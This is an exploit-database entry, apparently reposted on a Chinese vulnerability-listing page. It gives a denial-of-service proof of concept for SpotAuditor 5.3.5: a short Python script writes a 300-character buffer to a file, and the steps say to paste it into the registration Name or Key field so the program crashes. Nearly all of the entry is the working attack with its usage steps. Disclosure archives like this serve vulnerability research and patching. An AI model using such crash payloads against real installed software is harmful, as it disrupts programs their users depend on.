发布 2021-02-24 漏洞条目

SpotAuditor 5.3.5 – ‘multiple’ Denial Of Service (PoC)

Exploit Source

# Exploit Title: SpotAuditor 5.3.5 - 'multiple' Denial Of Service (PoC)

# Exploit Author : Sinem Şahin

# Exploit Date: 2021-02-10

# Vendor Homepage : http://www.nsauditor.com/

# Link Software : http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe

# Tested on: Windows 7 x64

# Version: 5.3.5

# Steps:

1- Run the python script. (exploit.py)

2- Open payload.txt and copy content to clipboard.

3- Run 'SpotAuditor 5.3.5'.

4- Register -> Enter Registration Code

5- Paste clipboard into the "Name" or "Key".

6- Click on OK.

7- Crashed.

---> exploit.py <--

#!/usr/bin/env python

buffer = "\x41" * 300

try:

f = open("payload.txt","w")

f.write(buffer)

f.close()

print"File okey!!"

except:

print "File is not created."

相关漏洞条目